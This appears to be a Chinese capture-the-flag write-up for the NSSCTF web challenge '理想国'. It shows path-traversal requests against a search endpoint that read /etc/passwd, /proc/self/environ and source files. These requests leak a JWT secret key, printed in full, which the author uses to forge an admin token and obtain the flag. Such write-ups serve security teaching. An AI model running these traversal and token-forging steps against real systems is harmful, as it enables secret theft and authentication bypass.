NSSCTF 理想国
打开页面,发现是Json内容
用浏览器插件发现了几个关键的URL地址,不用插件也可以在JSON代码中看到
然后挨个访问这些URL地址
可以看到都是这样的页面
在JSON代码中可以看到一些参数,并且是用POST传输的
然后直接BP抓包
这里直接右键修改请求方式
因为这里我们肯定没有账号的,先注册一个,所以访问/api-base/v0/register地址
然后POST请求体写入用户名和密码,需要用JSON格式,并且类型也需要改成JSON
然后尝试登录看看会有什么东西返回
这里返回了token,先保存下来
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJvb3QiLCJwYXNzd29yZCI6IjEyMzQ1NiJ9.V0KS0O2nxfSXoTPKUxQTQOa_rOnKxyxg2HUYrnJbhIk
现场已经用来注册、登录两个地址,还有search和logout没用,logout明显是登出,所以直接看看search地址
并且searchJSON中有接收的参数
这里尝试读取一个我们知道的文件../../../etc/passwd
显示token错误了
上面不是获取了我们注册用户的token了,将这个token放入Cookie中
可以看到成功访问到了
这里我们并不知道flag在哪,所以只能猜一下
#根目录
../../../flag
../../../flag.txt#当前目录
POST /api-base/v0/search?file=./flag HTTP/1.1
POST /api-base/v0/search?file=flag HTTP/1.1
POST /api-base/v0/search?file=../flag HTTP/1.1# 各种可能的 flag 文件名
POST /api-base/v0/search?file=../../../flag.txt HTTP/1.1
POST /api-base/v0/search?file=../../../FLAG HTTP/1.1
POST /api-base/v0/search?file=../../../flag.txt HTTP/1.1
POST /api-base/v0/search?file=../../../fla.g HTTP/1.1# 用户目录
POST /api-base/v0/search?file=../../../home/flag HTTP/1.1
POST /api-base/v0/search?file=../../../root/flag HTTP/1.1# 临时目录
POST /api-base/v0/search?file=../../../tmp/flag HTTP/1.1# 应用配置目录
POST /api-base/v0/search?file=../../../app/flag HTTP/1.1
POST /api-base/v0/search?file=../../../opt/flag HTTP/1.1
这些目录都试一下,也可以放入BP用爆破模式爆一遍,我都试了,都返回File not found,所以没办法直接读flag
那么就接着下面的思路
#查看进程信息
POST /api-base/v0/search?file=../../../proc/self/cmdline HTTP/1.1#查看环境变量
POST /api-base/v0/search?file=../../../proc/self/environ HTTP/1.1#查看应用源代码
POST /api-base/v0/search?file=../../../app/app.py HTTP/1.1
POST /api-base/v0/search?file=../../../app/main.py HTTP/1.1
POST /api-base/v0/search?file=../../../server.py HTTP/1.1
都查看一下,发现在环境变量中有关键内容
SECRET_KEY,这个是JWT的加密密钥
SECRET_KEY=B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r
然后在app.py中也看到了源代码
将这个源代码用代码美化工具美化一下,然后放入Pycharm中进行查看
这里可以看到,用GET方式请求/enterIdealState就可以读取readflag,从而返回出来
直接访问这个发现出现了一段提示
翻译一下,内容如下
把这段话在源码中找一下
发现在一个check函数中,并且是通过if判断,如果用户名不是Plato并且密码不是ideal_state就会输出上面的内容,也就是我们需要构造token,账号密码分别对应Plato、ideal_state
上面我们已经拿到了JWT的key,所以直接用工具构造token即可
将token换成刚生成的这个token,然后访问/enterIdealState,成功获得flag